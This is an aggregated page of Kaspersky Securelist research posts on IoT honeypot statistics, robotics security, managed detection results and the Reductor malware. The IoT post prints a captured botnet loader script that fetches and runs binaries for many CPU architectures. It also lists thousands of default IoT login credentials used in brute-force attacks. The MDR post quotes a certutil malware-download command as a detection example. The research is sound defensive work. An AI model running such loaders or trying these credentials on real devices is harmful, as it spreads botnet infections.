Kaspersky Securelist

Syndikovat obsah Securelist
Aktualizace: 56 min 23 sek zpět

IoT: a malware story

15 Říjen, 2019 - 12:00

Since 2008, cyber-criminals have been creating malware to attack IoT-devices, such as routers and other types of network equipment. You will find a lot of statistics on this on Securelist, most notably, here and here. The main problem with these IoT/embedded devices is that one simply cannot install any kind of security software. How do we deal with that?

The best option for tracking attacks, catching malware and getting an overview of attacks in this area is to use honeypots.

About honeypots

There are three common types of honeypot:

  • Low-interaction honeypots. These simulate services such as Telnet, SSH and web servers. The attacker or attacking system is tricked into thinking it is a real vulnerable system and running its malicious commands and payload.
  • High-interaction honeypots. These are real systems that require additional steps to restrict malicious activities and avoid compromising further systems, but it has the advantage of actually running a fully POSIX-capable system. This means that any future attempts to identify the hosts using techniques not already emulated by low-interaction honeypots will fail, thus making the attacking scripts believe it is a real device.
  • Medium-interaction honeypots. These are combinations of the two that offer more functionality than low-interaction honeypots but less than high-interaction honeypots.

Ideally, it is best to operate only high-Interaction honeypots. Unfortunately, due to the high volume of attacks, these types of honeypots cannot scale, and the environment needs to be reset for every new connection. As such, medium-interaction honeypots are the type most commonly used, and the most popular open-source projects are Cowrie and Dionaea.

We work with all three types of honeypots, and we have even created a different type, the sensor honeypot, which we will cover below.

Honeypot deployment

Working with honeypots implies taking security into consideration at every step. A system vulnerable to attack or a system under attack can put you and others at risk.

A major step when running honeypots is planning a network layout before getting the honeypots running. This includes defining what activities should be monitored, and how data is collected and processed. Over the past years, we have created a honeypot infrastructure, extending and improving it continuously. We created our own modular approach to this, to deal with system management, updates and data processing. The main idea is to be able to deploy multiple honeypots with ease to try to keep maintenance costs as low as possible.

Residential vs. “Corporate” IP addresses

Our telemetry data suggests that smart botnet operators check the network AS name and tend to target only IP addresses belonging to internet service providers supplying Internet connection to home users. The reason is simple: if there is a router showing up on an Amazon/DigitalOcean-owned IP, this might be a sign that the machine could be a VPS (virtual private server), rather than a SoHo Router sitting inside somebody’s home.

Using the same IP address for a long time

Cycling through IP addresses is quite important. Botnet owners try to monitor honeypots on their own, so after some time, public IP addresses may get flagged by cybercriminals, which results in fewer attacks. Furthermore, we believe there are lists of “honeypot IPs” traded in darknet markets.

Fingerprinting honeypots

Multiple malware families use specific valid commands that are not fully emulated by some honeypots, in order to detect them. Attackers constantly change their fingerprinting methods to bypass the anti-anti-VM techniques. These techniques are implemented in order to check if attackers are trying to probe the honeypot and will return fake data to make the honeypot look real. For example, one malware family reads the contents of /proc/cpuinfo in order to find out the processor type and family. Most Cowrie deployments use the same CPU architecture.

Handling heavy loads

Exposing a popular port (for example, 21. 22. 23. 80) to the Internet will almost immediately attract connection attempts from various hosts, and the longer that port stays open, the more bots will try to “infect” the service. For a static IP address running the same service for more than twelve months, the “infection rate” (the number of sessions trying to infect our honeypot host with malware) was around 4,000 every 15 minutes. The offending IPs are not unique and, from our experience, one attacker attempts to infect a machine multiple times.

A large number of connections generates a lot of stress on both the network and the honeypot emulation stacks. From our experience, we noticed that Cowrie can handle around 10,000 simultaneous sessions per instance. For heavily-loaded honeypots, the solution would be to load-balance the attacking connections at the kernel layer into multiple Docker instances, which can be easily implemented using the kernel’s netfilter module.


So far, we have collected results in our production environment for more than one year. We have deployed more than 50 honeypots around the world, with 20,000 infected sessions every 15 minutes. Below are our results, based on the aggregated data.

Statistics: Telnet

In the first half of 2019, our Telnet honeypots detected a total of more than 105 million attacks that originated with 276,000 unique IP addresses. Compare that with 12 million attacks, originating with 69,000 IP addresses, detected year-on-year in 2018. We are looking at a steady trend for an increase in repeat attacks from attackers’ IP addresses, suggesting increasingly persistent attempts at infecting devices previously known to the attackers.

While Brazil and China remained the leaders in terms of unique IP addresses that served as the origin of Telnet password brute-forcing attacks in the first half of 2019, China took the lead when compared with 2018 year-on-year, with around 30 percent, whereas Brazil was second with 19 percent. Egypt, Russia and the United States were third, fourth and fifth, respectively.

H1 2018 H1 2019 Brazil 28% China 30% China 14% Brazil 19% Japan 11% Egypt 12% USA 5% Russia 11% Greece 5% USA 8% Turkey 4% Vietnam 4% Mexico 4% India 4% Russia 3% Greece 4% South Korea 3% South Korea 4% Italy 2% Japan 4%

Countries that were the sources of Telnet attacks on Kaspersky Laboratory honeypots

Top 10 IoT threat verdicts

It should come as no surprise that most of the positions are occupied by various Mirai modifications: these use exploits, targeting devices that have Telnet turned off. Consider, too, that the malware has been publicly available for a long time, and its code is versatile enough for compiling bots of any level of complexity, for any hardware configuration.

!function(e,i,n,s){var t="InfogramEmbeds",d=e.getElementsByTagName("script")[0];if(window[t]&&window[t].initialized)window[t].process&&window[t].process();else if(!e.getElementById(n)){var o=e.createElement("script");o.async=1,o.id=n,o.src="https://e.infogram.com/js/dist/embed-loader-min.js",d.parentNode.insertBefore(o,d)}}(document,0,"infogram-async");

TOP 10 IoT threat verdicts, first half of 2018

!function(e,i,n,s){var t="InfogramEmbeds",d=e.getElementsByTagName("script")[0];if(window[t]&&window[t].initialized)window[t].process&&window[t].process();else if(!e.getElementById(n)){var o=e.createElement("script");o.async=1,o.id=n,o.src="https://e.infogram.com/js/dist/embed-loader-min.js",d.parentNode.insertBefore(o,d)}}(document,0,"infogram-async");

TOP 10 IoT threat verdicts, first half of 2019

The statistics were collected from a specially designated group of honeypots that was not touched by the infrastructure changes (no new devices were added), so the statistics relied on the activity of infected devices only. A session stands for a successful password brute-forcing attempt.

!function(e,i,n,s){var t="InfogramEmbeds",d=e.getElementsByTagName("script")[0];if(window[t]&&window[t].initialized)window[t].process&&window[t].process();else if(!e.getElementById(n)){var o=e.createElement("script");o.async=1,o.id=n,o.src="https://e.infogram.com/js/dist/embed-loader-min.js",d.parentNode.insertBefore(o,d)}}(document,0,"infogram-async");

An analysis of logs from an isolated group of honeypots points to a steady trend for a year-on-year decrease in attacker IP addresses but an increase in the number of attacks. The number of active infected devices remains high: tens of thousands of devices attempt to spread malware by both brute-forcing passwords and exploiting various vulnerabilities every month.

!function(e,i,n,s){var t="InfogramEmbeds",d=e.getElementsByTagName("script")[0];if(window[t]&&window[t].initialized)window[t].process&&window[t].process();else if(!e.getElementById(n)){var o=e.createElement("script");o.async=1,o.id=n,o.src="https://e.infogram.com/js/dist/embed-loader-min.js",d.parentNode.insertBefore(o,d)}}(document,0,"infogram-async");

Unique IP addressed detected as the origin of attacks on the isolated honeypot group, January through June 2018

Statistics: credentials

Especially in the IoT area, Telnet, SSH and web servers are the most common services available and, therefore, the most-attacked ones. For Telnet and SSH, we store not only malicious payloads but also initial login credentials. This data enables us to identify targeted devices due to the default username/password combinations mainly used by the attackers.

We collected the most widely used username and password combinations for Q3 and Q4 2018, and Q1-Q3 2019; you can find them all in the Appendix. The most common combination by far is “support/support”, followed by “admin/admin”, “default/default” and “root/vizxv”. The first three entries are self-explanatory, but the fourth one is quite interesting: it is the default password for a vulnerable IP camera, as described in Kreb’s blog.

New cameras are probed every quarter as exploits are released into the wild. For example, in Q1 2019, we observed bots trying to infect specific Gpon routers using a specific hard-coded password. Our colleagues at TrendMicro wrote about this at the end of 2018.

Identifying collected credentials for Q3 2018 (left), Q4 2018 (center) and Q1 2019 (right)

Statistics: malware

While common computers usually run on Intel or AMD CPUs (little-endian x86 or x86_64), embedded IoT devices use a broader range of CPU architectures supplied by multiple vendors.

While classifying our samples, we noticed that we had files using both endianness types, designed to be executed on multiple CPU architectures, such as ARM, Intel x86 and MIPS.

Below is a table with all types of samples we collected.

A well-known method used by attackers, once they get access to a device, is to try and deploy their malware for all architectures without any checks. This approach works because only one binary will be executed correctly. Luckily for us, this allows us to grab all the links and download all the samples.

Below is an example of such a script.

#!/bin/bash cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://[redacted]/mips; chmod +x mips; ./mips; rm -rf mips cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://[redacted]/mipsel; chmod +x mipsel; ./mipsel; rm -rf mipsel cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://[redacted]/sh4; chmod +x sh4; ./sh4; rm -rf sh4 cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://[redacted]/x86; chmod +x x86; ./x86; rm -rf x86 cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://[redacted]/armv7l; chmod +x armv7l; ./armv7l; rm -rf armv7l cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://[redacted]/armv6l; chmod +x armv6l; ./armv6l; rm -rf armv6l cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://[redacted]/i686; chmod +x i686; ./i686; rm -rf i686 cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://[redacted]/powerpc; chmod +x powerpc; ./powerpc; rm -rf powerpc cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://[redacted]/i586; chmod +x i586; ./i586; rm -rf i586 cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://[redacted]/m68k; chmod +x m68k; ./m68k; rm -rf m68k cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://[redacted]/sparc; chmod +x sparc; ./sparc; rm -rf sparc cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://[redacted]/armv4l; chmod +x armv4l; ./armv4l; rm -rf armv4l cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://[redacted]/armv5l; chmod +x armv5l; ./armv5l; rm -rf armv5l cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://[redacted]/powerpc-440fp; chmod +x powerpc-440fp; ./powerpc-440fp; rm -rf powerpc-440fp

Besides username/password combinations, the type of architecture being targeted is an additional characteristic that helps us to identify other potentially targeted devices.

Attacking countries and networks

The top three countries probing our honeypots were China and Brazil, followed by Egypt and Russia, the latter two 0.1 percent apart. The trend seems to be consistent throughout 2018 and 2019, with slight changes in country rankings.

Below are the top 20 most active attackers and their ASNs, based on attacker IP analysis.

IP ASN country Sessions 198.98.*.* FranTech Solutions (53667) United States 9850914 5.188.*.* Global Layer B.V. (49453) Ireland 8845554 46.101.*.* DigitalOcean, LLC (14061) Germany 6400293 5.188.*.* Global Layer B.V. (57172) Russia 5687846 5.188.*.* Global Layer B.V. (57172) Russia 5668684 5.188.*.* Global Layer B.V. (57172) Russia 5651793 104.168.*.* Hostwinds LLC. (54290) United States 5208208 5.188.*.* Global Layer B.V. (57172) Russia 5183386 5.188.*.* Global Layer B.V. (57172) Russia 4999999 5.188.*.* Global Layer B.V. (49453) Ireland 4997344 5.188.*.* Global Layer B.V. (57172) Russia 4996561 198.199.*.* DigitalOcean, LLC (14061) United States 4731014 68.183.*.* DigitalOcean, LLC (14061) United States 4654696 104.248.*.* DigitalOcean, LLC (14061) United States 4509490 5.188.*.* Global Layer B.V. (49453) Ireland 4413067 88.214.*.* FutureNow Inc. (201912) N/A 4210692 5.188.*.* Global Layer B.V. (49453) Ireland 4209439 134.19.*.* Global Layer B.V. (49453) Netherlands 4206674 185.244.*.* 3W Infra B.V. (60144) Netherlands 4181413 5.188.*.* Global Layer B.V. (49453) Ireland 4128155 Infected sessions

Starting in 2018, we have present two metrics in our data: “all sessions” and “infected sessions”. An infected session is one where there was at least one malware file requested, or dropped, from the Internet. A non-infected session might be one initiated by mistake by a legitimate user, via a mistyped IP address, or by a robot scanning the Internet. We have seen a steady increase in all sessions (Telnet, SSH, web, etc.) opened on our honeypots, and the more honeypots we add to our network, the more traffic we observe, which means that attackers are constantly scanning the Internet in order to infect new devices. In most cases, infected devices are the ones scanning for new hosts on the Internet.

Malware families: 2018 vs. 2019

In terms of detected hashes, we have seen a few changes in top samples trying to attack our honeypots. Overall, in 2018 as well as 2019, Mirai remained the most popular malware family with over 30,000 samples detected in 2018 and almost 25,000 samples detected in the first half of 2019. While the Hajime malware, thoroughly researched by Kaspersky and by Symantec in 2017, was quite active during its prime years, it is almost non-existent on our 2019 charts.

Instead, we have seen an increase from well-known malware families, NyaDrop and Gafgy, trying to infect newer devices.

Below are our Top 10 samples detected in Q1 2018 and Q1 2019.

Q1 2018 Q1 2019 Backdoor.Linux.Mirai.c 23454 (50.46%) Trojan-Downloader.Linux.NyaDrop.b 24437 (38.57%) Trojan-Downloader.Linux.Hajime.a 8657 (18.62%) Backdoor.Linux.Mirai.b 13960 (22.06%) Backdoor.Linux.Mirai.b 3566 (7.67%) Backdoor.Linux.Mirai.ba 7664 (12.11%) Trojan-Downloader.Linux.NyaDrop.b 3523 (7.58%) Backdoor.Linux.Mirai.ad 1224
(1.92%) Backdoor.Linux.Mirai.ba 2468 (5.31%) Backdoor.Linux.Mirai.au 1185
(1.87%) Trojan-Downloader.Shell.Agent.p 502 (1.08%) Backdoor.Linux.Gafgyt.bj 872 (1.38%) Trojan-Downloader.Shell.Agent.as 426 (0.91%) Trojan-Downloader.Shell.Agent.p 659 (1.04%) Backdoor.Linux.Mirai.n 348 (0.74%) Backdoor.Linux.Gafgyt.az 468 (0.74%) Backdoor.Linux.Gafgyt.ba 339 (0.72%) Backdoor.Linux.Mirai.c 455 (0.72%) Backdoor.Linux.Gafgyt.af 279 (0.60%) Backdoor.Linux.Mirai.h 434 (0.68%) Uberpot

Besides the common honeypots that listen on specific ports, we have also created a multi-port honeypot, named “uberpot”. The idea is simple: the honeypot listens on all TCP and UDP ports and accepts connections, and logs data received and meta information. The main objective is to identify new attack vectors, and attacks on other services and ports, e.g. due to new devices or vendor-specific port configurations.

TCP is clearly king in terms of attacker services, even though we still see some UDP/ICMP traffic directed to our uberpot instances.

In terms of infected sessions, we get hit by around 6,000 daily, but in January 2019, we noticed a spike in traffic with more than 7,500 daily sessions hitting random TCP ports.

In terms of other protocols, UDP and ICMP traffic is quite insignificant compared to TCP. We do not monitor other “exotic” protocols, such as DCCP, SST or ATP.

Attacked protocols on Uberpot

So far, mostly TCP-services have been attacked. Remote Administration Services such as SSH, Telnet, VNC and RDP have been a popular target, in addition to databases and web servers.

Attacked protocols on Uberpot

We continue to improve our systems and sensors, and expand our infrastructure to monitor threats and help protect against these.


A constant issue for security researchers is new sources of malware, data and infections. As a company or security team, you want to have full visibility into what hosts are attacking you and what kind of services attackers are going after. Apart from traditional defense mechanisms, log monitoring and training, deploying honeypots in key parts of your public or private infrastructure can also help in identifying ongoing probes into your network.

The main issues when running a large network of honeypots is maintenance, aggregation and processing of logs and bug fixing. We solve these problems by moving all honeypots into a dockerized infrastructure. This means that the front-facing hosts require very low resources: a node can run on a Raspberry PI.

Our solution is simple: we offer Docker image/install scripts that forward malicious traffic aimed at “vulnerable” ports back to our infrastructure through a Wireguard UDP tunnel. We call these machines “nodes” and, as mentioned before, a node can even run on a Raspberry PI. Once you install a machine like that, all you need to do is redirect the ports you want to monitor towards it. You can directly assign public IPs, as some of our partners do, or even do DNAT (port forwarding) only for the ports you are interested in.

Once traffic hits your node, it is sent to our aggregator, where a Docker machine handles it and responds. We then generate statistics and all required data on the aggregator.

For more information about our infrastructure, please check out our SAS 2019 video.


While the trend for IoT-specific malware is growing as the IoT landscape expands into more and more areas, we will continue to extend our detection and research capabilities. Awareness is a key element along with defense technologies based on analysis and following trends.

One way to stay on top of attackers is to ingest dedicated feeds for IoT threats. For example, we offer such feeds on our Threat Intelligence platform.

If you are interested in starting a research partnership with Kaspersky and running honeypots on your unused IP addresses, please get in touch with us at honeypots@kaspersky.com. We are happy to partner with you to deploy our Honeypot-as-a-Service prototype.

As explained in the “Honeypots-as-a-Service” section, we aggregate, correlate and cluster all incoming connections and all processed data is made available to you almost in real time.


List of passwords for recent quarters:

Q3 2018 username password count support support 2627805 root vizxv 2376654 admin admin 2359985 root default 2355762 default S2fGqNFs 2140316 default OxhlwSG8 1683879 root xc3511 1451906 root anko 1365481 root 7ujMko0admin 1336390 root admin 1281745 root 12345 1273103 root password 1239467 user user 1238778 telnet telnet 1171306 root hunt5759 1136995 default <empty> 1058371 root root 995550 admin admin1234 977147 root 1001chin 932786 Q4 2018 username password count support support 703515 root vizxv 583926 admin admin 547302 root default 429091 default S2fGqNFs 423178 default OxhlwSG8 377638 root 7ujMko0admin 297929 telnet telnet 292827 root password 283462 root xc3511 281053 root 1001chin 276828 root 12345 273787 default <blank> 268606 root admin 264256 root hunt5759 258697 root anko 256498 user user 251272 guest 12345 246927 root root 218373 root <empty> 192910 Q1 2019 username password count support support 2627805 root vizxv 2376654 admin admin 2359985 root default 2355762 default S2fGqNFs 2140316 default OxhlwSG8 1683879 root xc3511 1451906 root anko 1365481 root 7ujMko0admin 1336390 root admin 1281745 root 12345 1273103 root password 1239467 user user 1238778 telnet telnet 1171306 root hunt5759 1136995 default <empty> 1058371 root root 995550 admin admin1234 977147 root 1001chin 932786 root <empty> 870276 Q2 2019 username password count default default 2523832 admin admin 2030987 root 7ujMko0admin 2023333 root vizxv 1842271 root default 1803912 admin password 1671593 default <blank> 1656853 default OxhlwSG8 1524072 default S2fGqNFs 1497600 root “taZz@23495859” 1402338 root zyad1234 1116542 admin aquario 1103479 default tlJwpbo6 1065423 admin admin123 1028715 guest 12345z 819617 guest 12345 757875 admin synnet 637017 guest guest 487789 guest <empty> 461508 guest 123456 460613 Q3 2019 username password count default default 4211802 admin admin 3692028 root vizxv 3174770 root default 3094578 root “taZz@23495859” 2964442 default <blank> 2897669 root tsgoingon 2341043 root 7ujMko0admin 2340426 admin aquario 2316776 admin admin123 2278549 admin password 2103600 default OxhlwSG8 2074258 default S2fGqNFs 1983527 default tlJwpbo6 1519887 guest 12345 1105911 guest 123456 991206 guest guest 937530 admin synnet 920939 guest admin 694245 guest <empty> 614275

A glimpse into the present state of security in robotics

14 Říjen, 2019 - 11:35

 Download full report (PDF)

The world of today continues its progress toward higher digitalization and mobility. From developments in the Internet of Things (IoT) through augmented reality to Industry 4.0, whichrely on stronger automation and use of robots, all of these bring more efficiency to production processes and improves user experience across the globe. According to some estimates, these systems will become the norm in wealthy households before 2040.

Nowadays, however, these “robots” are not limited to futuristic humanoid machines. They include various devices, such as robot arms in factories or delivery robots, autonomous cars, automated baby sitters, etc.

Digitized systems of the future will involve deployable robotic systems in highly networked environments, remotely communicating with various services and systems for higher efficiency. While for now, this is only expected to happen, and we cannot talk about real truly functional deployable robotic systems, there are already certain developments in that area.

Robot Operating System

The research and development community, established around a shared interest in the future of robotics, initially required a unified and standard platform. To achieve that, back in 2007, Willow Garage introduced Robot Operating System (ROS), essentially a collection of middleware frameworks for robot software development, and a distributed system providing a mechanism for nodes to exchange information over a network. It operates like a service for distribution of data among various nodes in a system. A central master service is responsible for tracking published and subscribed topics, and provides a parameter server for nodes to store various metadata. Nodes can publish data as topics by advertising to the ROS master service. Other nodes can subscribe to these topics by querying the master, which provides the IP address and TCP port number of any nodes publishing a given topic, allowing the subscriber to contact the publishers directly to establish further connections. ROS has a distributed architecture: nodes can run on the same machine as the master, or on different machines. Apart from that, ROS possesses a number of ready-to-go libraries for solving various tasks, such as recognition of objects in an image or space mapping.

That said, ROS itself hardly can be positioned as a fully functional operating system—it is rather a set of open-source libraries that helps researchers and developers to visualize and record data, easily navigate the ROS package structures, and create scripts that automate complex configuration and setup processes.

Open source for study

ROS was designed with open source in mind—by a researcher, for researchers—with the intention of enabling users to choose the configuration of the tools and libraries that interacted with the core of ROS, so that the users could shift their software stacks to fit their robot or application area.

This open-source nature brings certain peculiarities into the subject of robotics’ cyber security. ROS is mainly used in research purposes: in the universities and by engineering enthusiasts. As with many other research platforms, the ROS designers made a conscious decision to exclude security mechanisms because they did not have a clear model of security threats and were not security experts themselves—and for the sake of research and development comfort and efficiency. For instance, the ROS master node trusts all nodes that connect to it, and thus should not be exposed to the Internet or any network with unauthorized users on it, without additional measures to restrict access to the system.

Overall, ROS has no built-in security; it lacks authentication, authorization and confidentiality features. Some of those issues have been addressed in ROS 2.0, a new version of ROS that is under heavy development and will take advantage of modern libraries and technologies for core ROS functionality, adding support for real-time code and embedded hardware. However, the second version is still not quite widely spread: the first version is sufficient for most researches, and more complex projects take a long time to migrate to an updated platform.


Nevertheless, ROS is expected to play an important role in robotics outside of pure research-oriented scenarios. And the significant security issues it bears should be addressed before ROS-based products like social robots, autonomous cars, etc. fly from university classrooms to reach mass markets.

By definition, networks are shared resources, so it is important to consider the security aspects of connecting systems using ROS, as a ROS master will by default respond to requests from any device on the network (or host) that can connect to it. Any host on the network can publish or subscribe topics, list or modify parameters, and so on.

In this regard, cyberattacks are a growing threat to the integrity of robotic systems at the core of this new emerging ecosystem. A robot can sense the physical world using sensors, or directly change the physical world with its actuators. Thus, a robot could leak sensitive information about its environment, such as data from sensors or cameras, if accessed by an unauthorized party, or even receive commands to move, which would create a both privacy and safety risk.

Initial studies have already validated the above consideration: in 2018, over 100 publicly accessible hosts running a ROS master node have been identified as part of analysis of the entire IPv4 address space of the Internet for instances of deployed ROS systems. Some of these appeared to be real robots, potentially exposed to either unauthorized publishing injections, or Denial of Service (DoS) attacks, or Unauthorized Data Access. This made robots potential targets, capable of being remotely moved in ways dangerous to both the robot and the objects around it.

But apart from technical aspect, there are more specific dimensions to be concerned about when it comes to robotics security. To find more in this regard, Kaspersky and the research team at the University of Ghent looked deeper into how the wide use of so-called “social robots” in the future could affect humans’ private lives, their social behavior and what the cyber security takeaways from this impact are.

It is our hope that this brief outline of robotics cybersecurity issues will encourage others to follow our example and bring about greater public and community awareness of the subject.

Managed Detection and Response analytics report, H1 2019

8 Říjen, 2019 - 12:00

 Download full report (PDF)


This report contains the results of the Managed Detection and Response (MDR) service (brand name – Kaspersky Managed Protection). The MDR service provides managed threat hunting and initial incident response. Threat hunting is the practice of iteratively searching through data collected from sensors (referenced as telemetry or events) in order to detect threats that successfully evade automatic security solutions. A brief description of the service is provided at the end of this document.

The MDR service processes security operations events, focusing on and improving activity performed by professionals in charge of threat hunting projects, their level of expertise and the threat intelligence enabled through the detection process. According to David Bianco’s Pyramid of Pain, TTP-based threat detection is the most difficult type of indicators of attacks (IoAs) to circumvent for an adversary. The Kaspersky team is focused on TTP-based threat hunting in its MDR service, where humans are heavily involved to ensure the best judgments are made on collected events, especially advanced threats. This significantly augments automatic detection logic provided by endpoint protection products (EPP) used as sensors during the service delivery.

Life cycle of a threat hunting hypothesis

Geography and industry verticals of the MDR service delivered by Kaspersky

The analysis was conducted based on data from organizations around the world that used our service in the first half of 2019. Government bodies, financial institutions, industrial organizations, telecommunication and IT companies worldwide use our service to protect their IT infrastructure. Data from organizations that used our services for frequent health checks was also included.

Incident detection operations

Almost all alerts were generated by the analysis of events from endpoint sensors based on IoAs (TTP-based threat detection logic) and less than 2% of them were identified as cybersecurity incidents.

The low IoA conversion rate reflects the need to detect advanced threats which use a ‘living off the land’ approach, with behaviors that are very similar to legitimate activity. The more a malicious behavior mimics the normal behavior of users and administrators, the higher the rate of false positives and, consequently, the lower the conversion rate from alerts.

Mean time to response (MTTR)

(or incident processing time) is the time from an automatic alert generation as a result of automated analysis of events to its resolution by Kaspersky experts.

~25 mins average MTTR

It is worth noting that incident investigation may include additional work on the customer side or extra expert analysis and it may require more time for resolution – on average, up to 37 minutes in cases of incidents associated with advanced threats or sophisticated attack detection.

Examples of IoAs:
  • Start command line (or bat/PowerShell) script within a browser, office application or server application (such as SQL server, SQL server agent, nginx, JBoss, Tomcat, etc.);
  • Suspicious use of certutil for file download (example command: certutil -verifyctl -f -split https[:]//example.com/wce.exe);
  • File upload with BITS (Background Intelligent Transfer Service);
  • whoami command from SYSTEM account, and many others.
The main ideas behind IoA-TTP-based detection:
  • Applicable for detection of post-exploitation activity.
  • Detects standard but suspicious functionality of legitimate utilities: therefore, classification of observed behavior as malicious cannot be accomplished in a fully automated manner.
  • Tools used by attackers are not explicitly malicious, but their hostile usage is.
MTTR in view of incident severity

The incident processing time can is slightly depend on severity: incidents with a higher degree of severity require more complex and complicated analysis. They require more advanced remediation measures to cure infected systems and to protect against reoccurrence or threat propagation inside the network infrastructure than incidents with medium and low severity levels.

The MTTR values for incidents of different severity are provided below.

Incident prioritization

Incident severity is evaluated by experts based on a combination of factors, such as threat actor, attack stage at the time of incident detection (e.g. cyber kill chain), the scale of affected infrastructure, details about the threat and how it may be relevant to a customer’s business and, with the customer’s feedback, the identified impact on infrastructure, complexity of remediation measures and more. The severity levels are described below.

Incident details Severity level Typical remediation measures Action
(customer side)
Traces of targeted attack, unknown threat, complex malware or malware with fewer malicious actions. High Further investigation using digital forensic methods and manual remediation Urgent action from the technical specialists of the targeted organization is required Incident response New malware samples (Trojan, Cryptor, etc.) for which automatic remediation by product is technically possible.

Associated with minor damage to the affected systems. Medium Malware analysis None
(affected systems efficiently cured by EPP) Removal with EPP New samples of potential unwanted programs bringing inconvenience (Adware, Riskware, not-a-virus, etc.) for which automatic remediation by product is technically possible.

Associated with no damage to the affected systems. Low Removal with EPP

In the first half of 2019, we identified the following severity levels by month.

Things to note

Almost all incidents that have medium or low severity are connected to threats that can be efficiently remediated by endpoint protection products (EPP). No action from the side of the victim systems is required except for anti-malware database updates to EPPs to eliminate the risks associated with such incidents. This shows that an EPP is an effective threat response tool in the case of low and medium severity incidents, but it requires an additional level of TTP-based threat hunting, manual detection, and analysis to find new, unknown, or advanced threats.

Effectiveness of detection technologies Incident distribution by event source (sensors)

  • Almost half of all incidents were detected through the analysis of malicious actions or objects detected during the advanced analysis of endpoint behavior using TTP-based threat detection logic (using IoAs). This demonstrates the general efficiency of the endpoint IoA approach in detecting advanced threats and sophisticated malware-less attacks.
  • About one-third of all incidents were detected through the analysis of suspicious objects by the Advanced Sandbox component, which is usually connected with fraudulent email attachments that belong to various spam and phishing attacks targeting organizations all over the world. Detailed information on spam and phishing attacks in Q1 2019 was published on May 15, 2019 on Securelist.
Statistics on incident severity level distributed by detection technology Adversary tactics and techniques used in incidents

Kaspersky determines the adversary tactics and techniques related to alerts and cybersecurity incidents detected via TTP-based threat hunting (using IoAs) in accordance with MITRE’s globally accepted ATT&CK knowledge base.

Statistics on attack tactics used in incidents of different severity (high, medium, low) at the time of detection

The tactics are placed in Cyber Kill Chain order.

  • Cybersecurity incidents for almost all existing attack tactics were detected, which indicated the possibility of activity detection at all stages of potential hacker actions (no incidents with the Exfiltration tactic were implemented in the MDR service detection logic).
  • Detection of different ATT&CK tactics shows the ability to detect threats in the ‘post-breach’ attack stage when the intruders had already obtained access to the targeted systems, or even network infrastructure and were in the process of achieving attack objectives.
  • The statistics show the great importance of post-breach scenario detection in threat hunting combined with the classical pre-breach approach mainly implemented in preventive security controls. The better the threat is able to imitate legitimate activity, the greater its chances of avoiding detection before the actual compromise, which is very common for advanced malware-less threats.
Things to note
  • The greatest number of attacks were found at the Execution, Defense evasion, Lateral movement and Impact The tactics used during these stages are often considered the noisiest.
  • The significant number of Persistence detections demonstrate the importance of being able to detect this tactic’s techniques and procedures.
Effectiveness of MITRE ATT&CK in security operations

The technique conversion = # incidents associated with the technique / # alerts associated with the technique
The higher the conversion, the more alerts become cybersecurity incidents after analysis.

Technique frequency (among alerts generated via IoAs)

A large number of alerts associated with an attack technique generally result from its legitimate use in the analyzed infrastructure. This must be controlled properly, because it indicates potentially favorable conditions for conducting corresponding attacks.

It is highly important to determine whether behavior is normal for a particular IT infrastructure.

  • Having a baseline for what is normal activity in your IT infrastructure (efficient situational awareness) will help reduce false alerts for legitimate activity and raise the effectiveness of threat detection operations.

Detailed information on attack technique statistics, including telemetry required for detection of the corresponding cybersecurity incidents, is provided by link.

Kaspersky MDR service description Detection technologies Endpoint behavior analysis combined with analysis of metadata gathered via endpoint protection products (used as sensors) is performed by the means of:

  • TTP-based threat hunting (using IoAs)
  • SIEM rules for automatic events correlation (if a SIEM system is implemented in the IT infrastructure)
Other detection technologies:

  • Advanced Sandbox
  • Anti-Malware engine
  • Targeted Attack Analyzer
  • Network Traffic Analyzer (includes IDS)
  • YARA engine
Manual detection Customer requests Monitoring process

Real-time monitoring of network traffic combined with object sandboxing and endpoint behavior analysis delivers a detailed insight into what is happening across a business’s IT infrastructure. According to the global threat landscape and the use of TTP-based threat detection logic (using IoAs), correlation of events from multiple layers of IT infrastructure, including networks and endpoints, enables “near real-time” detection of complex threats as well as retrospective investigations.

COMpfun successor Reductor infects files on the fly to compromise TLS traffic

3 Říjen, 2019 - 12:00

In April 2019, we discovered new malware that compromises encrypted web communications in an impressive way. Analysis of the malware allowed us to confirm that the operators have some control over the target’s network channel and could replace legitimate installers with infected ones on the fly. That places the actor in a very exclusive club, with capabilities that few other actors in the world have.

We called these new modules ‘Reductor’ after a .pdb path left in some samples. Besides typical RAT functions such as uploading, downloading and executing files, Reductor’s authors put a lot of effort into manipulating digital certificates and marking outbound TLS traffic with unique host-related identifiers.

The Kaspersky Attribution Engine shows strong code similarities between this family and the COMPfun Trojan. Moreover, further research showed that the original COMpfun Trojan most probably is used as a downloader in one of the distribution schemes. Based on these similarities, we’re quite sure the new malware was developed by the COMPfun authors.

The COMpfun malware was initially documented by G-DATA in 2014. Although G-DATA didn’t identify which actor was using this malware, Kaspersky tentatively linked it to the Turla APT, based on the victimology. Our telemetry indicates that the current campaign using Reductor started at the end of April 2019 and remained active at the time of writing (August 2019). We identified targets in Russia and Belarus.

We registered two initial infection schemes: Reductor spreads by either infecting popular software distributions (Internet Downloader Manager, WinRAR, etc. and, for at least one victim, through a popular warez website over HTTP); or its decryptor/dropper is spread using COMpfun’s ability to download files on already infected hosts.

How to mark the TLS handshake without even touching the traffic

The malware adds digital certificates from its data section to the target host and allows the operators to add additional certificates remotely through a named pipe. The solution that Reductor’s developers found to mark TLS traffic is the most ingenious part. They don’t touch the network packets at all; instead developers analyzed the Firefox source code and Chrome binary code to patch the corresponding pseudo random number generation (PRNG) functions in the process’s memory.

